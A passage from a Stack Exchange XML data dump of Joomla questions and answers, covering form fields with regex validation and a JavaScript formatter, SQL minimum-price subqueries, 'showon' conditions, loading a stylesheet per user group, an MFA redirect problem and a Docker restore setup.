CommentCount="0" ContentLicense="CC BY-SA 4.0" />
  <row Id="32993" PostTypeId="2" ParentId="32973" CreationDate="2023-04-22T17:47:55.643" Score="1" Body="&lt;p&gt;I like the questions here on JSE which you can go into trouble with. In Joomla we can create a Form Field with XML but that is really just creating an HTML input field with the help of XML, nothing more. However what you are looking for, as far as I see it from your question, is that you want also a server side sanitization and validation on the submitted input data. So the question can get longer than just creating a formatted html Text input field in Joomla.&lt;/p&gt;&#xA;&lt;p&gt;Creating a Text field example:&lt;/p&gt;&#xA;&lt;pre&gt;&lt;code&gt;&amp;lt;?xml version=&amp;quot;1.0&amp;quot; encoding=&amp;quot;UTF-8&amp;quot;?&amp;gt;&#xA;&amp;lt;form name=&amp;quot;texttest&amp;quot; &#xA;    addfieldprefix=&amp;quot;Joomla\Component\Hiscomponent\Administrator\Field&amp;quot;&amp;gt;&#xA;    &amp;lt;fieldset name=&amp;quot;special&amp;quot;&amp;gt;&#xA;        &amp;lt;fields name=&amp;quot;mytext&amp;quot;&amp;gt;&#xA;            &amp;lt;field&#xA;                name=&amp;quot;formattedtext&amp;quot;&#xA;                type=&amp;quot;text&amp;quot;&#xA;                class=&amp;quot;phone&amp;quot;&#xA;                label=&amp;quot;FORMATTED TEXT FIELD&amp;quot;&#xA;                description=&amp;quot;TEST OF THE FORMATTED TEXT FIELD&amp;quot;&#xA;                required=&amp;quot;true&amp;quot;&#xA;                hint=&amp;quot;required format: 7548-45-879-1458&amp;quot;&#xA;                inputtype=&amp;quot;tel&amp;quot;&#xA;                message=&amp;quot;Please use this format: 7584-78-758-7541&amp;quot;&#xA;                pattern=&amp;quot;^(\d{4})-(\d{2})-(\d{3})-(\d{4})$&amp;quot;&#xA;            /&amp;gt;&#xA;        &amp;lt;/fields&amp;gt;&#xA;    &amp;lt;/fieldset&amp;gt;&#xA;&amp;lt;/form&amp;gt;&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&lt;p&gt;As we can see, this is a simple HTML text field with &lt;em&gt;&lt;code&gt;inputtype=&amp;quot;tel&amp;quot;&lt;/code&gt;&lt;/em&gt; (not important to adding this) and it has an extra &lt;em&gt;&lt;code&gt;pattern&lt;/code&gt;&lt;/em&gt; attribute that checks the input value against a regex pattern. This pattern is helpful in most cases. (the pattern could be simplified more: &lt;code&gt;^\d{4}-\d{2}-\d{3}-\d{4}$&lt;/code&gt; )&lt;/p&gt;&#xA;&lt;p&gt;You put the above XML file in your component/forms subfolder. I gave the name for this Form and file &lt;strong&gt;'texttest.xml'&lt;/strong&gt;.&lt;/p&gt;&#xA;&lt;p&gt;You can include and display this form/text field in your layout with the following code as an example:&lt;/p&gt;&#xA;&lt;pre&gt;&lt;code&gt;&amp;lt;?php&#xA;&#xA;// No direct access to this file&#xA;defined('_JEXEC') or die('Restricted Access');&#xA;&#xA;use Joomla\CMS\Factory;&#xA;use Joomla\Database\DatabaseInterface;&#xA;&#xA;use Joomla\CMS\Form\Form;&#xA;&#xA;// testing a Form field:&#xA;Form::addFormPath(JPATH_ADMINISTRATOR . '/components/com_hiscomponent/forms');&#xA;&#xA;$newForm = Form::getInstance('texttest', $data = 'texttest', $options = [], $replace = false, $xpath = false);&#xA;&#xA;?&amp;gt;&#xA;&#xA;&amp;lt;div class=&amp;quot;custom-form-section&amp;quot;&amp;gt;&#xA;    &amp;lt;form action=&amp;quot;&amp;quot;&amp;gt;        &#xA;        &amp;lt;?php echo $newForm-&amp;gt;renderFieldset('special'); ?&amp;gt;&#xA;        &amp;lt;button class=&amp;quot;button&amp;quot; type=&amp;quot;submit&amp;quot; value=&amp;quot;submit&amp;quot;&amp;gt;Submit&amp;lt;/button&amp;gt;&#xA;    &amp;lt;/form&amp;gt;&#xA;&amp;lt;/div&amp;gt;&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&lt;p&gt;Now, what is the problem with this? The problem with this is that we just created a simple HTML text input field so far, nothing else. And it works and it checks the input on client side whether it has the correct input format: &lt;strong&gt;'xxxx-xx-xxx-xxxx'&lt;/strong&gt; or not and if not, it even pops up an html alert.&lt;/p&gt;&#xA;&lt;p&gt;This is the HTML we created so far:&lt;/p&gt;&#xA;&lt;pre&gt;&lt;code&gt;&amp;lt;div class=&amp;quot;custom-form-section&amp;quot;&amp;gt;&#xA;    &amp;lt;form action=&amp;quot;&amp;quot;&amp;gt;&#xA;        &amp;lt;div class=&amp;quot;control-group&amp;quot;&amp;gt;&#xA;            &amp;lt;div class=&amp;quot;control-label&amp;quot;&amp;gt;&amp;lt;label id=&amp;quot;mytext_formattedtext-lbl&amp;quot; for=&amp;quot;mytext_formattedtext&amp;quot; class=&amp;quot;required&amp;quot;&amp;gt;&#xA;                    FORMATTED TEXT FIELD&amp;lt;span class=&amp;quot;star&amp;quot; aria-hidden=&amp;quot;true&amp;quot;&amp;gt;&amp;amp;nbsp;*&amp;lt;/span&amp;gt;&amp;lt;/label&amp;gt;&#xA;            &amp;lt;/div&amp;gt;&#xA;            &amp;lt;div class=&amp;quot;controls&amp;quot;&amp;gt;&#xA;                &amp;lt;input type=&amp;quot;text&amp;quot; name=&amp;quot;mytext[formattedtext]&amp;quot; id=&amp;quot;mytext_formattedtext&amp;quot; value=&amp;quot;&amp;quot;&#xA;                    class=&amp;quot;form-control phone required&amp;quot; aria-describedby=&amp;quot;mytext_formattedtext-desc&amp;quot;&#xA;                    placeholder=&amp;quot;7548-45-879-1458&amp;quot; required=&amp;quot;&amp;quot; pattern=&amp;quot;^(\d{4})-(\d{2})-(\d{3})-(\d{4})$&amp;quot;&amp;gt;&#xA;&#xA;                &amp;lt;div id=&amp;quot;mytext_formattedtext-desc&amp;quot; class=&amp;quot;&amp;quot;&amp;gt;&#xA;                    &amp;lt;small class=&amp;quot;form-text&amp;quot;&amp;gt;&#xA;                        TEST OF THE FORMATTED TEXT FIELD&#xA;                    &amp;lt;/small&amp;gt;&#xA;                &amp;lt;/div&amp;gt;&#xA;            &amp;lt;/div&amp;gt;&#xA;        &amp;lt;/div&amp;gt;&#xA;        &amp;lt;button class=&amp;quot;button&amp;quot; type=&amp;quot;submit&amp;quot; value=&amp;quot;&amp;quot;&amp;gt;Submit&amp;lt;/button&amp;gt;&#xA;    &amp;lt;/form&amp;gt;&#xA;&amp;lt;/div&amp;gt;&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&lt;p&gt;And actually as an input field it is still quite useless since it does not show the input value in the requested format when you are typing, it only displays the value as a simple text. &lt;strong&gt;It does not help the User at all&lt;/strong&gt; even it can annoy the website's visitors most of the times if we would leave it this way.&lt;/p&gt;&#xA;&lt;p&gt;For formatting this text input field we definitely need to add a short Javascript script (at the bottom of our layout for example).&lt;/p&gt;&#xA;&lt;pre&gt;&lt;code&gt;&amp;lt;script&amp;gt;&#xA;&#xA;window.addEventListener('load', () =&amp;gt; {&#xA;    if (document.getElementById(&amp;quot;mytext_formattedtext&amp;quot;)) {&#xA;        const el = document.getElementById(&amp;quot;mytext_formattedtext&amp;quot;);&#xA;        &#xA;        el.oninput = () =&amp;gt; {&#xA;            el.value = phFormat(el.value);&#xA;        }&#xA;    }&#xA;});&#xA;&#xA;// returns ####-##-###-####&#xA;function phFormat(input) { &#xA;    if(input.length) {&#xA;               &#xA;        input = input.replace(/\D/g,'');&#xA;        let size = input.length;&#xA;        if (size &amp;gt; 0) {input = input.slice(0,15)}&#xA;        if (size &amp;gt; 3 &amp;amp;&amp;amp; size !== 4) {input = input.slice(0, 4)+&amp;quot;-&amp;quot; + input.slice(4, 15)}&#xA;        if (size &amp;gt; 6) {input = input.slice(0, 7)+&amp;quot;-&amp;quot; + input.slice(7, 15)}&#xA;        if (size &amp;gt; 10) {input = input.slice(0, 11)+&amp;quot;-&amp;quot; + input.slice(11, 15)}&#xA;        &#xA;        return input;&#xA;&#xA;    } else {&#xA;        input = '';&#xA;        return input;&#xA;    }&#xA;}&#xA;&#xA;&amp;lt;/script&amp;gt;&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&lt;p&gt;&lt;strong&gt;This script can be really useful at User side&lt;/strong&gt; to display the formatted input field and as someone types the numbers can see how it is formatted. I saw this short script and customized it a bit for this purpose. But this is still just the client side of the whole task. This script does not let you input letters or special characters in the field and if you input less numbers it will alert you that you need to provide the input in the requested format. Nice and short.&lt;/p&gt;&#xA;&lt;p&gt;You can check how this works here on jsfiddle:&#xA;&lt;a href=&quot;https://jsfiddle.net/Lw6acs38/1/&quot; rel=&quot;nofollow noreferrer&quot;&gt;https://jsfiddle.net/Lw6acs38/1/&lt;/a&gt;&lt;/p&gt;&#xA;&lt;p&gt;Now, finally, this will be submitted in Joomla to your Joomla Controller's method (which you will create in your component) where you can validate and sanitize the submitted data against the very similar regex what I used in the pattern of the XML field (few lines only) and if the data value is OK then you will forward it to your Model's method and you can save it in your component Model in the database.&lt;/p&gt;&#xA;" OwnerUserId="12524" LastEditorUserId="12524" LastEditDate="2023-04-25T07:44:47.850" LastActivityDate="2023-04-25T07:44:47.850" CommentCount="3" ContentLicense="CC BY-SA 4.0" />
  <row Id="32994" PostTypeId="2" ParentId="32992" CreationDate="2023-04-23T00:21:15.210" Score="1" Body="&lt;p&gt;I assume that when you join the companies and products you don't really mean a.id = p.id?&lt;/p&gt;&#xA;&lt;p&gt;Assuming that the product table has a company_id then you could do a generic subquery approach like the following.  Not the most efficient but easy to think.  The essential point being, you can't just join to the min of another table, but you can use a subquery to join to the subset of the table that you want.&lt;/p&gt;&#xA;&lt;pre&gt;&lt;code&gt;$db = $this-&amp;gt;getDbo();&#xA;$query = $db-&amp;gt;getQuery(true);&#xA;&#xA;$query-&amp;gt;select('a.id, a.title, p.min_price, p.discount, p.morevalues');&#xA;$query-&amp;gt;from('#__company AS a');&#xA;&#xA;// join to the result of the subquery&#xA;$query-&amp;gt;join('LEFT', '(SELECT MIN(price) as min_price, company_id, discount, morevalues FROM #__products GROUP BY company_id) AS p', 'p.company_id = a.id');&#xA;$query-&amp;gt;group('a.id');&#xA;&#xA;$db-&amp;gt;setQuery($query, 0, $params-&amp;gt;limit);&#xA;$items = $db-&amp;gt;loadObjectList();&#xA;return $items;&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;" OwnerUserId="7374" LastEditorUserId="7374" LastEditDate="2023-04-23T00:31:25.403" LastActivityDate="2023-04-23T00:31:25.403" CommentCount="1" ContentLicense="CC BY-SA 4.0" />
  <row Id="32995" PostTypeId="2" ParentId="32989" CreationDate="2023-04-24T09:40:58.643" Score="2" Body="&lt;p&gt;The &lt;code&gt;showon&lt;/code&gt; feature of XML fields's settings in Joomla works well in Joomla 4 according to my tests. The issue that 'showon' works or not does not have too much to do with HTML &lt;strong&gt;Tabs&lt;/strong&gt; basically, but it has a lot to do with XML &lt;strong&gt;Fields&lt;/strong&gt; and &lt;strong&gt;Field&lt;/strong&gt;. You create HTML Tabs and display different Fieldsets/Fields/Field within the different Tabs and the fields within the tabs are usually within different &lt;strong&gt;Fields&lt;/strong&gt; nodes in the XML.&lt;/p&gt;&#xA;&lt;p&gt;For example you have &lt;strong&gt;X number of Tabs&lt;/strong&gt; and you set a showon condition for a field in your &lt;strong&gt;5th Fieldsets/Fields&lt;/strong&gt; (in 5th Tab of your Form) dependent on a &lt;strong&gt;Field&lt;/strong&gt; value in &lt;strong&gt;4th Fieldsets' Fields'&lt;/strong&gt; (in 4th Tab), then you should target the &lt;code&gt;&amp;lt;Field&amp;gt;&lt;/code&gt; of the targeted particular &lt;code&gt;&amp;lt;Fields&amp;gt;&lt;/code&gt; node when you are setting a &lt;code&gt;showon&lt;/code&gt; condition, like &lt;code&gt;&amp;quot;fieldsname.fieldname:1&amp;quot;&lt;/code&gt;, so you not only set &lt;code&gt;fieldname:1&lt;/code&gt;.&lt;/p&gt;&#xA;&lt;p&gt;That way in your 5th Tab the field with a showon condition - targeting the 4th Tab's field value - will respond according to the 4th Tabs field value setting.&lt;/p&gt;&#xA;&lt;p&gt;In my test XML you can see this setting in the different &lt;code&gt;&amp;lt;Fieldsets&amp;gt;&lt;/code&gt; and &lt;code&gt;&amp;lt;Fields&amp;gt;&lt;/code&gt;. For you the last &lt;code&gt;&amp;lt;Field&amp;gt;&lt;/code&gt; is interesting to check in this example.&lt;/p&gt;&#xA;&lt;pre&gt;&lt;code&gt;&amp;lt;fieldset name = &amp;quot;showg&amp;quot;&amp;gt;&#xA;    &amp;lt;fields name=&amp;quot;showfieldsg&amp;quot;&amp;gt;&#xA;       &amp;lt;field&#xA;                name=&amp;quot;hasEndDate&amp;quot;&#xA;                type=&amp;quot;list&amp;quot;&#xA;                label=&amp;quot;Hat Enddatum?&amp;quot;&#xA;                default=&amp;quot;1&amp;quot;&#xA;        &amp;gt;&#xA;            &amp;lt;option value=&amp;quot;0&amp;quot;&amp;gt;Nein&amp;lt;/option&amp;gt;&#xA;            &amp;lt;option value=&amp;quot;1&amp;quot;&amp;gt;Ja&amp;lt;/option&amp;gt;&#xA;        &amp;lt;/field&amp;gt;&#xA;&#xA;        &amp;lt;field&#xA;                name=&amp;quot;endDate&amp;quot;&#xA;                type=&amp;quot;calendar&amp;quot;&#xA;                translateformat=&amp;quot;true&amp;quot;&#xA;                singleheader=&amp;quot;false&amp;quot;&#xA;                showtime=&amp;quot;true&amp;quot;&#xA;                timeformat=&amp;quot;24&amp;quot;&#xA;                todaybutton=&amp;quot;true&amp;quot;&#xA;                label=&amp;quot;Ende: Datum und Zeit&amp;quot;&#xA;                weeknumbers=&amp;quot;true&amp;quot;&#xA;                size=&amp;quot;20&amp;quot;&#xA;                filter=&amp;quot;server_utc&amp;quot;&#xA;                showon=&amp;quot;hasEndDate:1&amp;quot;&#xA;        /&amp;gt;&#xA;        &amp;lt;field&#xA;                name=&amp;quot;nextTabValue&amp;quot;&#xA;                type=&amp;quot;list&amp;quot;&#xA;                label=&amp;quot;Next Tab Field show?&amp;quot;&#xA;                default=&amp;quot;1&amp;quot;&#xA;        &amp;gt;&#xA;            &amp;lt;option value=&amp;quot;0&amp;quot;&amp;gt;No&amp;lt;/option&amp;gt;&#xA;            &amp;lt;option value=&amp;quot;1&amp;quot;&amp;gt;Yes&amp;lt;/option&amp;gt;&#xA;        &amp;lt;/field&amp;gt;&#xA;    &amp;lt;/fields&amp;gt;&#xA;&amp;lt;/fieldset&amp;gt;&#xA;&amp;lt;fieldset name = &amp;quot;showi&amp;quot;&amp;gt;&#xA;    &amp;lt;fields name=&amp;quot;showfieldsi&amp;quot;&amp;gt;&#xA;        &amp;lt;field&#xA;                name=&amp;quot;TestPrevTab&amp;quot;&#xA;                type=&amp;quot;list&amp;quot;&#xA;                label=&amp;quot;Test Previous Tab Setting&amp;quot;&#xA;                default=&amp;quot;1&amp;quot;&#xA;                showon=&amp;quot;showfieldsg.nextTabValue:1&amp;quot;&#xA;        &amp;gt;&#xA;            &amp;lt;option value=&amp;quot;0&amp;quot;&amp;gt;No&amp;lt;/option&amp;gt;&#xA;            &amp;lt;option value=&amp;quot;1&amp;quot;&amp;gt;Yes&amp;lt;/option&amp;gt;&#xA;        &amp;lt;/field&amp;gt;&#xA;    &amp;lt;/fields&amp;gt;&#xA;&amp;lt;/fieldset&amp;gt;&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&lt;p&gt;So shortly, within the same Fieldsets' Fields the showon condition works as usual but if one of your fields depends on another Fieldset's Fields value then you should target the &lt;code&gt;Fieldsname.Fieldname&lt;/code&gt; in the showon condition and it will work.&lt;/p&gt;&#xA;&lt;p&gt;And the visual working result of these tabs and field's showon test in Tabs is here:&lt;/p&gt;&#xA;&lt;p&gt;&lt;a href=&quot;https://imagizer.imageshack.com/img923/1135/Himm8V.gif&quot; rel=&quot;nofollow noreferrer&quot;&gt;https://imagizer.imageshack.com/img923/1135/Himm8V.gif&lt;/a&gt;&lt;/p&gt;&#xA;" OwnerUserId="12524" LastEditorUserId="12524" LastEditDate="2023-04-24T14:33:34.773" LastActivityDate="2023-04-24T14:33:34.773" CommentCount="2" ContentLicense="CC BY-SA 4.0" />
  <row Id="32996" PostTypeId="2" ParentId="32992" CreationDate="2023-04-24T14:01:46.617" Score="1" Body="&lt;p&gt;Follow any of the techniques demonstrated on &lt;a href=&quot;https://dev.mysql.com/doc/refman/8.0/en/example-maximum-column-group-row.html&quot; rel=&quot;nofollow noreferrer&quot;&gt;https://dev.mysql.com/doc/refman/8.0/en/example-maximum-column-group-row.html&lt;/a&gt; (just be sure to invert the logic to ensure min values instead of max values) to create a subquery to LEFT JOIN on.&lt;/p&gt;&#xA;&lt;sub&gt;&#xA;There will be dozens of posts on this topic on the sess pool that is the &#xA;&lt;kbd&gt;SQL&lt;/kbd&gt; tag on Stack Overflow such as:&#xA;&lt;ul&gt;&#xA;&lt;li&gt;&lt;a href=&quot;https://stackoverflow.com/q/12561774/2943403&quot;&gt;MySQL - Fetching lowest value&lt;/a&gt;&lt;/li&gt;&#xA;&lt;li&gt;&lt;a href=&quot;https://stackoverflow.com/q/15291506/2943403&quot;&gt;SQL query to select distinct row with minimum value&lt;/a&gt;&lt;/li&gt;&#xA;&lt;li&gt;&lt;a href=&quot;https://stackoverflow.com/q/38457231/2943403&quot;&gt;how to select one row from several rows with minimum value&lt;/a&gt;&lt;/li&gt;&#xA;&lt;li&gt;and dozens more that will keep repeating the same basic techniques.&lt;/li&gt;&#xA;&lt;/ul&gt;&#xA;&lt;/sub&gt;&#xA;&lt;br&gt;&#xA;&lt;p&gt;I believe your SQL attempt fundamentally fell down because you were SELECTing MIN with other values (without controlling where within the GROUP's aggregate the data is coming from).&lt;/p&gt;&#xA;&lt;p&gt;Raw SQL: (&lt;a href=&quot;https://www.db-fiddle.com/f/w7fFNS78mCjQCiEvpqdeGd/2&quot; rel=&quot;nofollow noreferrer&quot;&gt;DB-Fiddle&lt;/a&gt;)&lt;/p&gt;&#xA;&lt;pre&gt;&lt;code&gt;SELECT c.id,&#xA;       c.title         AS CompanyName,&#xA;       c.contact_email AS CompanyDiscount,&#xA;       p.title         AS Product,&#xA;       p.price         AS Price,&#xA;       p.prodiscount   AS ProductDiscount,&#xA;       p.lowprice      AS Lowprice,&#xA;       p.peakprice     AS Peakprice &#xA;FROM jos4py_cddir_content AS c&#xA;LEFT JOIN (&#xA;      SELECT p1.*&#xA;      FROM jos4py_cddir_products      AS p1&#xA;      LEFT JOIN jos4py_cddir_products AS p2 ON p1.company_id = p2.company_id&#xA;                                               AND p1.price &amp;gt; p2.price&#xA;      WHERE p2.price IS NULL&#xA;) AS p ON c.id = p.company_id&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&lt;p&gt;Here is my untested attempt at Joomla syntax with some additional bits and pieces to help with diagnostics.  Please do not ever present raw query or error details on your public site.&lt;/p&gt;&#xA;&lt;pre&gt;&lt;code&gt;try {&#xA;    $db = JFactory::getDbo();&#xA;&#xA;    $min_subquery = $db-&amp;gt;getQuery(true)&#xA;                       -&amp;gt;select(&amp;quot;p1.*&amp;quot;)&#xA;                       -&amp;gt;from(&amp;quot;#__cddir_products AS p1&amp;quot;)&#xA;                       -&amp;gt;leftJoin(&amp;quot;#__cddir_products AS p2 ON p1.company_id = p2.company_id AND p1.price &amp;gt; p2.price&amp;quot;)&#xA;                       -&amp;gt;where(&amp;quot;p2.price IS NULL&amp;quot;);&#xA;&#xA;    $query = $db-&amp;gt;getQuery(true)&#xA;                -&amp;gt;select(&amp;quot;c.id,&#xA;                          c.title         AS CompanyName,&#xA;                          c.contact_email AS CompanyDiscount,&#xA;                          p.title         AS Product,&#xA;                          p.price         AS Price,&#xA;                          p.prodiscount   AS ProductDiscount,&#xA;                          p.lowprice      AS Lowprice,&#xA;                          p.peakprice     AS Peakprice&amp;quot;)&#xA;                -&amp;gt;from(&amp;quot;#__cddir_content AS c&amp;quot;)&#xA;                -&amp;gt;leftJoin(&amp;quot;($min_subquery) AS p ON c.id = p.company_id&amp;quot;);&#xA;&#xA;    $db-&amp;gt;setQuery($query);&#xA;    JFactory::getApplication()-&amp;gt;enqueueMessage($query-&amp;gt;dump(), 'info');&#xA;    if (!$result = $db-&amp;gt;loadAssocList()) {&#xA;        echo &amp;quot;&amp;lt;p&amp;gt;No Rows Found&amp;lt;/p&amp;gt;&amp;quot;;&#xA;    } else {&#xA;        echo &amp;quot;&amp;lt;pre&amp;gt;&amp;quot;;&#xA;        var_export($result);&#xA;        echo &amp;quot;&amp;lt;/pre&amp;gt;&amp;quot;;&#xA;    }&#xA;} catch (Exception $e) {&#xA;    JFactory::getApplication()-&amp;gt;enqueueMessage(&amp;quot;Query Syntax Error: &amp;quot; . $e-&amp;gt;getMessage(), 'error');  // don't show $e-&amp;gt;getMessage() to public&#xA;}&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;" OwnerUserId="12352" LastActivityDate="2023-04-24T14:01:46.617" CommentCount="0" ContentLicense="CC BY-SA 4.0" />
  <row Id="32997" PostTypeId="1" AcceptedAnswerId="32999" CreationDate="2023-04-24T15:58:49.773" Score="3" ViewCount="108" Body="&lt;p&gt;I have a CSS file on a Joomla 4 site using a custom template, that has code that only applies to special views for logged-in registered (manager level) users on the front end that styles list displays and other items when they add and edit articles, along with some styling in 'how to' articles I've written for them. This file is called front.css.&lt;/p&gt;&#xA;&lt;p&gt;I have run a site performance test on &lt;a href=&quot;https://www.webpagetest.org&quot; rel=&quot;nofollow noreferrer&quot;&gt;https://www.webpagetest.org&lt;/a&gt; and the report says that &amp;quot;3 externally-referenced CSS files are blocking page rendering.&amp;quot; (the other two are JCE Editor and GDPR cookie consent files, so out of my control).&lt;/p&gt;&#xA;&lt;p&gt;So, I'd like to only load this file when one of the users actually logs in to do some work. I can use vanilla JavaScript if necessary.&lt;/p&gt;&#xA;" OwnerUserId="13040" LastActivityDate="2023-04-27T07:49:56.180" Title="Can I delay loading a css file until a user is logged in?" Tags="|joomla-4.x|javascript|css|" AnswerCount="1" CommentCount="0" ContentLicense="CC BY-SA 4.0" />
  <row Id="32998" PostTypeId="1" CreationDate="2023-04-24T17:50:38.230" Score="1" ViewCount="15" Body="&lt;p&gt;When trying to activate MFA a user who tries to login is&lt;/p&gt;&#xA;&lt;ol&gt;&#xA;&lt;li&gt;first 303 redirected to the page where he should go after login (setup in the login menu item)&lt;/li&gt;&#xA;&lt;li&gt;then 307 redirected to home with this url &lt;code&gt;/component/users/captive?Itemid=120&lt;/code&gt; which is home.&lt;/li&gt;&#xA;&lt;/ol&gt;&#xA;&lt;p&gt;When setting the Login redirection to userprofile the MFA redirects correct with userprofile menu active.&lt;/p&gt;&#xA;&lt;p&gt;When setting the Login redirection to an article linked in the main menu, the MFA redirects again to &lt;code&gt;/component/users/captive?Itemid=120&lt;/code&gt;.&lt;/p&gt;&#xA;&lt;p&gt;Is this hard coded? Where can i configure at which menuitem the user can enter his MFA credentials?&lt;/p&gt;&#xA;" OwnerUserId="15761" LastEditorUserId="15761" LastEditDate="2023-04-24T18:24:48.650" LastActivityDate="2023-04-24T18:24:48.650" Title="MFA redirects to home" Tags="|authentication|" AnswerCount="0" CommentCount="0" ContentLicense="CC BY-SA 4.0" />
  <row Id="32999" PostTypeId="2" ParentId="32997" CreationDate="2023-04-25T06:19:26.753" Score="5" Body="&lt;p&gt;Very interesting and good question in my opinion.&lt;/p&gt;&#xA;&lt;p&gt;For this task I would use the &lt;code&gt;'joomla_user_state'&lt;/code&gt; cookie which is available from your template &lt;em&gt;index.php&lt;/em&gt; file. (otherwise you can do this form a custom plugin or from a custom module). If you maintain your own custom template then you can insert a few lines in &lt;em&gt;index.php&lt;/em&gt; that will load the css file if the User is logged in.&lt;/p&gt;&#xA;&lt;pre&gt;&lt;code&gt;use Joomla\CMS\Factory;&#xA;&#xA;/** @var Joomla\CMS\Document\HtmlDocument $this */&#xA;&#xA;$app = Factory::getApplication();&#xA;$wa  = $this-&amp;gt;getWebAssetManager();&#xA;&#xA;$input = $app-&amp;gt;getInput();  &#xA;$loggedIn = $input-&amp;gt;cookie-&amp;gt;get('joomla_user_state');&#xA;&#xA;if ($loggedIn) {&#xA;    $wa-&amp;gt;registerAndUseStyle('template.mytemplate.front', 'front.css');&#xA;}&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&lt;p&gt;Of course your &lt;em&gt;front.css&lt;/em&gt; file is in &lt;em&gt;media/templates/site/mytemplate/css&lt;/em&gt; folder.&lt;/p&gt;&#xA;&lt;p&gt;But if not and &lt;strong&gt;your css file is in your template's css folder&lt;/strong&gt; then you have to change this line and just use:&lt;/p&gt;&#xA;&lt;pre&gt;&lt;code&gt;$wa-&amp;gt;registerAndUseStyle('template.front', 'templates/mytemplate/css/front.css');&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&lt;p&gt;&lt;strong&gt;As an important additional note&lt;/strong&gt;, since a lot of people have a hard time to load the custom templates/themes' css or script assets with the Joomla WebAsset Manager. My example above is used when you have a child theme as your theme, but if you do not use child themes then you can register and load the css file easier in many cases, if you explicitely give the full path to the file to media folder or to your template's css folder (as I gave above too) :&lt;/p&gt;&#xA;&lt;pre&gt;&lt;code&gt;$wa-&amp;gt;registerAndUseStyle('front', 'media/templates/site/mytemplate/css/front.css');&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&lt;p&gt;&lt;strong&gt;OTHER APPROACH&lt;/strong&gt;&lt;/p&gt;&#xA;&lt;p&gt;Just with a nuance a more reliable approach for long term could be if we'd identify the User/visitor at server side:&lt;/p&gt;&#xA;&lt;pre&gt;&lt;code&gt;use Joomla\CMS\Factory;&#xA;&#xA;/** @var Joomla\CMS\Document\HtmlDocument $this */&#xA;&#xA;$app = Factory::getApplication();&#xA;$wa  = $this-&amp;gt;getWebAssetManager();&#xA;&#xA;$guest = $app-&amp;gt;getIdentity()-&amp;gt;guest;&#xA;&#xA;if (!$guest) {&#xA;&#xA;    $wa-&amp;gt;registerAndUseStyle('template.front', 'templates/mytemplate/css/front.css');&#xA;&#xA;}&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&lt;p&gt;Well, I just spot in your question, the small but important detail that you want to load the css only for managers (default Joomla user group ID = 6), so finally:&lt;/p&gt;&#xA;&lt;pre&gt;&lt;code&gt;$app = Factory::getApplication();&#xA;$wa  = $this-&amp;gt;getWebAssetManager();&#xA;&#xA;$user_groups = $app-&amp;gt;getIdentity()-&amp;gt;groups;&#xA;&#xA;if ( in_array(6, $user_groups) ) {&#xA;&#xA;    $wa-&amp;gt;registerAndUseStyle('template.front', 'templates/mytemplate/css/front.css');&#xA;&#xA;}&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&lt;p&gt;Thus the appropriate title of this question would be: &lt;strong&gt;How to load a stylesheet only for a specific User Group in Joomla&lt;/strong&gt;&lt;/p&gt;&#xA;" OwnerUserId="12524" LastEditorUserId="12524" LastEditDate="2023-04-27T07:49:56.180" LastActivityDate="2023-04-27T07:49:56.180" CommentCount="4" ContentLicense="CC BY-SA 4.0" />
  <row Id="33000" PostTypeId="1" CreationDate="2023-04-25T06:49:34.800" Score="0" ViewCount="42" Body="&lt;p&gt;I created a website with Joomla and YooTheme. All of a sudden, none of the pictures show anymore. What used to be path [domainname]/images/[imagename].jpg is now [domainname]/de/component/ajax/?p=image&amp;amp;src=[imagename].jpg. The site is &lt;a href=&quot;http://joo.sprachgefuehl.ch/&quot; rel=&quot;nofollow noreferrer&quot;&gt;http://joo.sprachgefuehl.ch/&lt;/a&gt;. I don't know what caused joomla to try to load images through ajax and how to fix it to have images display again. Does anyone have any suggestions how to resolve this?&lt;/p&gt;&#xA;" OwnerUserId="14833" LastActivityDate="2023-04-25T06:49:34.800" Title="Path to pictures in Joomla site changed to ajax path" Tags="|joomla-4.x|ajax|images|" AnswerCount="0" CommentCount="3" ContentLicense="CC BY-SA 4.0" />
  <row Id="33001" PostTypeId="1" CreationDate="2023-04-22T21:54:45.613" Score="1" ViewCount="170" Body="&lt;p&gt;I'm looking to restore my backed-up version of Joomla! 3.10.11, backed up by Akeeba, to a docker container locally so that I can test the migration to Joomla! 4, but am having issues in doing so. Hopefully someone here may have the solution that I'm looking for!&lt;/p&gt;&#xA;&lt;p&gt;My current Joomla! installation is on PHP 7.4.19 with MySQL 5.5.5-10.3.29-MariaDB on Apache/2.4.46&#xA;The Docker image appears to be PHP 8.0.28 with MySQL 5.7 on Apache/2.4.56&lt;/p&gt;&#xA;&lt;p&gt;I have set up Docker containers with the following YAML, and it works just fine to start up the base Joomla! 3.10.11 image/website:&lt;/p&gt;&#xA;&lt;pre&gt;&lt;code&gt;services:&#xA;  joomla:&#xA;    image: joomla:3.10.11&#xA;    restart: always&#xA;    container_name: joomla&#xA;    hostname: joomla&#xA;    links:&#xA;      - joomladb:joomla&#xA;    depends_on:&#xA;      - joomladb&#xA;    ports:&#xA;      - 80:80&#xA;      - 443:443&#xA;    volumes:&#xA;      - joomla-volume:/var/www/html&#xA;    environment:&#xA;      JOOMLA_DB_HOST: joomladb&#xA;      JOOMLA_DB_PASSWORD: *****&#xA;&#xA;  joomladb:&#xA;    image: mysql:5.7&#xA;    container_name: joomladb&#xA;    hostname: joomladb&#xA;    ports:&#xA;      - 3306:3306&#xA;    restart: always&#xA;    volumes:&#xA;      - mysql-volume:/var/lib/mysql&#xA;    environment:&#xA;      MYSQL_ROOT_PASSWORD: *****&#xA;      MYSQL_USER: joomla&#xA;      MYSQL_PASSWORD: *****&#xA;      MYSQL_DATABASE: joomla&#xA;      &#xA;  phpmyadmin:&#xA;    image: phpmyadmin&#xA;    container_name: phpmyadmin&#xA;    hostname: phpmyadmin&#xA;    links:&#xA;    - joomladb&#xA;    depends_on:&#xA;    - joomladb&#xA;    ports:&#xA;    - 8080:80&#xA;    environment:&#xA;    - 